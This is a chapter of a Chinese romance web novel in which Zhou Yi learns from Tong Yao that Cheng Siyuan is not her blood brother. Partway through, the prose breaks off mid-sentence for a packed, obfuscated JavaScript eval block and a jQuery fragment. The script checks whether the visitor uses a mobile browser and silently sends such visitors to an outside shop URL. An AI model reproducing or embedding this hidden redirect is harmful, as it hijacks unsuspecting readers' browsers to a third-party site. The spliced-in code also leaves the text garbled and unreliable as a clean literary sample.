周依和孟泽并排走着,到了体育馆门口他忽然站住,偏头问道:“对了,刚刚站队那会儿你要问我什么来着?”
“奥,就是想问问你喜欢什么类型的女生。”周依坦然道。
孟泽耳根微微泛着红,不确定道:“你……问这个干嘛?”
“不干嘛。”周依温吞道:“就是……就是随便问问,你可以理解为……理解为……”
她拉着嗓子拖了几秒,终于想到说:“你可以理解为是我作为你高中同学对你的关心,顺便帮你物色你可能的心仪人选,对、没错,就是这样。”
声音十分坚定,甚至把她自己都给说服力了。
孟泽梗着脖子摸了摸,尴尬道:“奥,这样啊,我还以为——”
他脸颊发红,话说了一半就被身后传来的声音给打断了。
“依依、依依。”
周依闻声转头,见来人不由诧异道:“童姐姐?”
“刚刚没事吧,有哪受伤吗?”童遥快步踱到她身边说:“程司远不放心,让我来看看。”
周依刚伸出一半的手臂,听到她后半句又收了回来,将眼睛瞥向一边说:“你让他放心吧,我没事。”
话里酸溜溜的味道周依自己没感觉出来,但童遥却是听得一清二楚。
她眼皮动了一下,似乎觉得有趣,转头对一边的孟泽道:“同学麻烦你了,我陪周依去医务室就行,你先回去吧。”
孟泽看周依抿唇不语也没有挽留的意思,浅笑道:“不麻烦,应该的。”
他走了一步,忽然又顿住,瞥向周依开口试探道:“那……我先走了?”
周依下意识看了眼身边笑眯眯的童遥,蓦地又朝孟泽笑着点头道:“嗯,你先回去吧,谢谢你啊。”
童遥催促着对他挥了挥手,说:“好了好了,你回去吧,程医——哦、那个医生们都还等着你呢。”
孟泽应声答应,向体育馆内跑了几步又转头看了眼周依,见她和童遥也已经迈步离开,不免纳闷地挠了挠头。从刚刚开始他就觉得这两人怪怪的,像是话里藏着话,听得也是云里雾里。
“我想多了?”
孟泽嘴里嘟囔了一句,瘪瘪嘴又向体育馆内跑去。
路上,童遥慢悠悠地走着嘴角始终噙着笑,看着周依浑身难受,刚刚那股憋屈的感觉,这会儿又排山倒海地压了过来。
她顿住脚步道:“童姐姐要不你还是回去吧,我一个人去医务室就行。”
“这可不行,你一个人去了我没办法交差啊。”童遥说。
周依下意识脱口而出道:“为什么?”
心里纳闷不止,难不成吴都大学校医院的指标还跟附属医院的医生有关?事有合作不成?
“因为程司远啊。”童遥打断了周依脑子里无限歪歪。
她嘴角的笑意更浓,说:“他担心你,特意让我来看看,非要让我把你全模全样的带回去才行。”
周依觉得这笑容有些刺眼,别过眼快速地眨动了几下,也可能是这炽热的阳光照得眼睛发涩,压低声音道:“我不用他担心。”
说完,头也不回的就跑向不远处的医务室。
童遥喊了一声,但周依并没有停下的意思,反而越跑越快了。她叹息一声,只好快步追赶上去。
这时,就算童遥再迟钝、再心大也能意识到,自己好像……好心办了个坏事。
周依咬着嘴唇一路狂奔,直到跑到医务室才停了脚。她努力忍着眼睛里的婆娑,觉得丢人又狠狠伸手摸了一把。
不知道为什么只要遇到关于程司远的事情,她总是能丢盔弃甲,以往编制起来得心应手的面具,如今在他面前也显得破破烂烂、捉襟见肘。她就像七八年前那个不懂事的小孩儿,藏不住心底的喜欢,也抑不住翻涌的不甘。
她真的不想只是妹妹。
“依依你跑那么快干嘛?”童遥追了上来,扶着门框大口穿着粗气说:“哎呦,真是累死我了。”
周依以为医务室有人,想着先一步跑到地方随便找个医生要个创可贴就行。
可没想到这老破小的医务室居然一个人都没有,到头来还得要童遥帮忙处理。那她刚刚那举动,岂不是比动物园里的猴子还滑稽?
想到这,她又气又急,顿时尴尬的脸都红了,咬了咬牙,决定闭麦不答。
童遥绕过周依,到一旁的柜子上拿起了一个带有红色十字的盒子,她从里面拿过棉签沾了双氧水,说:“手给我吧,我看看。”
周依抬手将自己的胳膊递给她,微皱着眉头像是在怕疼。
童遥笑了一声道:“别担心,我轻点,不会很疼。”
周依紧抿着嘴唇没有说话,眼睛牢牢盯着那根即将触即自己伤口的棉签。上面双氧水在接触皮肤组织时瞬间产生出浓密的泡沫,轻微的刺痛感还是让她忍不住地缩了下手臂。
“别动。”童遥拉着她手臂,吹了吹说:“马上就好,再忍忍。”
周依将脸转向一边,心里有万般情绪在流转,这样外貌漂亮,性格温柔的女生没有人会不喜欢。程司远喜欢她,理所应当。
“依依,你最近是在躲程司远吗?”
童遥忽然的一声问话打算断了周依的思想,她连忙回过神,眼神慌乱急促道:“没有。”
说完又觉得心虚,立即补充道:“我没有躲他,我没事躲他干嘛。”
童遥听了但却是不信,眼睛转了转,平平淡淡又说了句:“可是程司远跟我说你闹矛盾了,有这回事儿?”
周依诧异万分,简直难以置信。在她印象里程司远总是冷着一张脸,有什么心事也只会憋在心里,心情不好的时候更是像个万年老冰块,任你怎么折腾,他连眼皮都不会抬一下。可现在……
她垂下眼眸,痛楚密密麻麻布满了心脏,嘴角勾起一抹苦笑,答非所问道:“他……跟你说啊。”
声音里的哑涩和迟疑,让童遥更加确信自己的猜测。果然,误会了。
霎时间,童遥恨不得以头抢地尔,亏她还想着等两人在一起了,她就拍着胸脯跟程司远邀功,说自己帮了他大忙。江山社稷的,她可是肱骨之臣。
现在倒好,大忙变倒忙,江山马上成废墟。这程司远要是知道了,她估计小命不保,光是她老爹知道了就能把她腿打断。
童遥一个激灵,下意识拍了拍还健在的腿,讪笑道:“那个……依依啊,我觉得你好像误会什么了。我跟程司远,我们就是单纯的同事关系,非常单纯。”
她揉了柔鼻子,又说:“而且……刚刚的话也是我乱猜的,他什么都没跟我说过。”
周依一怔,猛地抬头看着她,意外道:“什么?”
童遥嘴里“啧”了声,伸手拿出藏在领口下的项链,上面还挂着一个吊坠,看着像是指环。她将项链取下递给周依,说:“你看,那上面有写东西。”
周依一时之间没反应过来,大脑还处于般宕机状态,懵懵地接过那条项链,听话的迎着在医务室的灯光看向指环。
那里面刻了一个半字,还但歪歪扭扭的,好像刻字者并不是很熟练,而且还是三分钟热度,觉得困难就立马放弃的性格。
她看向童遥,犹豫道:“这是……”
童遥笑了一声,伸手拿过项链,也迎着灯光看那指环里东倒西歪的一个半字,说:“原本是想刻季流年的,但刻了一半觉得太丑就放弃了。”
“季流年。”
周依嘴里跟着念了一遍,忽然想到什么,睁大眼睛道:“季校医?”
“嗯,是他。”童遥轻笑一声,边戴边说:“他比我大几岁,我们曾经一个学校,算是我的学长。
她顿了一下,又补充道:“也算半个老师。”
周依没有插话,就坐在一边静静地听着。
童遥重新将指环藏在领口下,继续说:“我大学是保送的,所以那时候性子傲、脾气也大,在学校里得罪了不少人。好在我小时候学过几天散打,虽然没多厉害,但自保还是没什么问题的。”
她忽然自嘲地笑了下,又道:“反正就被孤立了,最后期末的小组作业了没有一个人愿意跟我一组。但我也不屑跟她们一起,就想着自己完成。”
“可谁知道那该死的作业是研究激素在亲密关系之间的变化,研究对象还必须是身边人。”她嗤笑道:“可我身边哪有人啊,当时程司远也还没来国外。我就想着随便编一组数据交上去应付得了,但没想到被季流年发现了。奥、对了,他当时是我们教授的助教。”
“他那个人就喜欢多管闲事,本来就睁一只眼闭一只眼事儿非要卡着我不过,说必须要真实数据,不然就算我挂科。”
童遥陷入回忆,仿佛面对的就是当时难为人的季助教,她嘴角勾起一抹坏笑说:“我对他说,行,那你做我研究对象吧。”
周依听得认真,没忍住问道:“那他答应了?”
童遥嘴角扬了扬,嗯了一声道:“答应了,但我还是挂科了。”
“为什么?”周依问:“是数据出问题了吗?”
童遥摇了摇头,说:“没有,数据很好。”
“那是为什么?”
“因为没做完。”童遥说:“实验做到最后,激素指标快要超过亲密值,在我几乎可以下定结论时,研究对象突然不见了。”
周依心里咯噔一下,说:“他……走了?”
童遥垂眸,苦笑一声道:“但……还是让我逮到了。”
“你喜欢他?”
“喜欢。”
童遥十分坦然,她看着周依道:“我来就是想确认他倒底喜不喜欢我,那份数据结果是否真实有效。”
周依陷入沉默,半晌没有说话,她原本以为自己知道童遥和程司远没有在一起会开心,但事实却没有,反而心脏像是被一张无形的巨手揉捏着,胀痛、酸涩。
两情相悦的场景她看着是难受,可现在童遥有喜欢的人了,那程司远不就是单恋了?
她知道这是什么感觉,真的……好苦。
“程司——不、我哥……我哥他不好吗?”周依问。
“他很好啊。”童遥说:“长得帅、能力强还专一。”
“那你为什么——”
周依还没有说完,就被童遥打断道:“你喜欢他吗?”
“啊?”
周依猛地从椅子上站起,心像是被悬在万米高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651052|135289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
空,飘飘荡荡又惴惴不安,眼神闪躲道:“童姐姐,你不要开玩笑了、他、他是我哥。”
童遥也跟着站起来,正经道:“他不是,你们没有血缘关系,而且……”
她抿了抿唇,凑近一步压低声音道:“而且你们爸妈都没结婚,其实……你们完全可以在一起。”
周依大脑里像是有闪电经过,留下轰隆巨响在耳边倏然炸开。她猛然抬头看向童遥,惊道:“你怎么知道?”
童遥心里一空,没有回答她的问题,而是反问道:“你知道?”
惊愕占据了周依整张张脸,如果不是几个月前张舒欣告诉她,她估计一辈子都不可能知道,可童遥……为什么?那不成——
她没有继续想下去,哪怕结果就在眼前,甚至就在嘴边。她不敢。
周依的胸口像是被压了块儿万斤巨石,肺部本就储存无几的氧气也尽数被挤压出气,自由垂落的双手微微颤抖,音节被卡在喉咙里半天发不出声,她努力了半天,最终也只是艰难地吞咽了下口水。
童遥看她这副样子心里也有了答案,她叹息一声,自顾自地说了起来:“程司远刚到国外的时候也是人生地不熟,我老爹就让他住到我们家了。他那个人你也知道,到哪儿都不跟人亲近,那时候他不是对着手机屏幕发呆,就是对着一个破盒子发呆。”
“我觉得好奇,就仗着自己胆子大趁他出去偷偷把那盒子翻了出来。”她可能是觉得尴尬,看着周依揉了揉鼻子又讪笑几声,继续道:“其实里面也没什么,一堆零零散散的架子还有一张叠成方块儿的纸。”
周依眼睛跳了一下,没有说话,抿着唇继续听童遥说道:“那纸我刚拆开还没来得及看,程司远就回来了,吓得我赶紧塞回去,但还是被发现了。”
她突然笑了出来,继续道:“你都不知道,他当时脸都黑了,整整半年多都没有理我,我老爹知道这个事情罚了我整整一个月的社区服务,天天出门捡垃圾,别提有多累了。最后还是我死皮赖脸求着我老爹给我说好话,这程司远才开始跟我说话。”
周依安安静静地听着,表情并没有什么变化,只是心里莫名的觉得有些酸涩。她知道程司远向来都是刀子嘴豆腐心,正儿八经遇到时候也是会憋在心里硬扛,想来他一个人在国外的时候,应该也很艰难吧。
“之后跟他关系好点了才又找了机会问他,他说那是苏晴的死亡证明,一直藏着没让程毅找到。”童遥看着周依,收起了平素里习惯上扬的嘴角,一本正经道:“所以,他不是你哥。”
这一声声的话语,听得周依恍了神志。她呆愣愣的看着童遥,心里已然是掀起了惊涛骇浪,不断拍打着、呼啸着,直到将她那好不容易垒砌起来的堤防冲得溃不成军。
周依觉得自己的身体都在细细地抖动,耳边有无数个声音叫喊着、争先恐后地说着:程司远知道,他早就知道。
她喉咙上下攒动着,脑海里浮现出那之前童遥说过的话——
“我告诉你个秘密。”
“程司远他有喜欢的人,而且你认识。”
所以,所以他是不是也……
童遥见周依呆立在原地,忍不住出声叫道:“依依你怎么了,有在听我说吗?”
周依回了神,这才发现不知道什么时候自己眼眶里已经含满了薄雾,她快速眨动了几下,哑声道:“我没事,我在听,听到了。”
童遥轻叹一声道:“依依我再问你一遍,你喜欢——”
她话还没有说完,房门突然被人打开,但却是未见其人先闻其声:“童遥走了,医院有事。”
周依听到这声音心里骤然一紧,她转头看向门口,就见程司远眼神正慌乱看着她,但只对视一眼便匆匆瞥开。
可能程司远真得很急,也不顾后面童遥有没有听清,说完转身就想离开。可他身形刚动了一下忽然又顿住,眼睛停留在周依小臂那个创可贴上,低声道:“怎么样,还疼吗?”
童遥扫了两人一眼,眉毛轻挑,抬腿就向门外走,路过程司远时还带着笑意说了句:“那我先回医院看看。”
病房内,周依心脏狂跳不止,在这鸦雀无声的环境下显得尤为明显。她下意识将手臂往后藏了藏,后退一步,试图用距离掩盖自己胸腔里的吵闹。
“不疼,我没事。”她手指攥着自己衣角,眼睛也不敢直视程司远,偏侧着头说:“不是有事嘛,你先走吧。”
周依心虚极了,她不知道程司远是刚来,还是站了有一会儿了。
程司远刚刚声音急促,动作也慌乱,看起来确实是急匆匆赶来的才对,可他的呼吸好像却是出奇的平稳,没有半点儿喘息的感觉。
“下次小心点,别又摔伤了,我……我先走了。”他说。
周依始终没有看他,就只垂着头,抿唇“嗯”了一声。
可过了半晌,病房里依旧是寂静一片,该出现的脚步声迟迟没有出现,周依疑惑地抬头,却发现程司远还站在原地,完全没有要离开的意思,不由问道:“你不是要走吗,怎么……”
她声音渐小,说到最后已然是听不太清了。
程司远紧抿的嘴唇微微动了动,说:“别躲着我,好嘛?”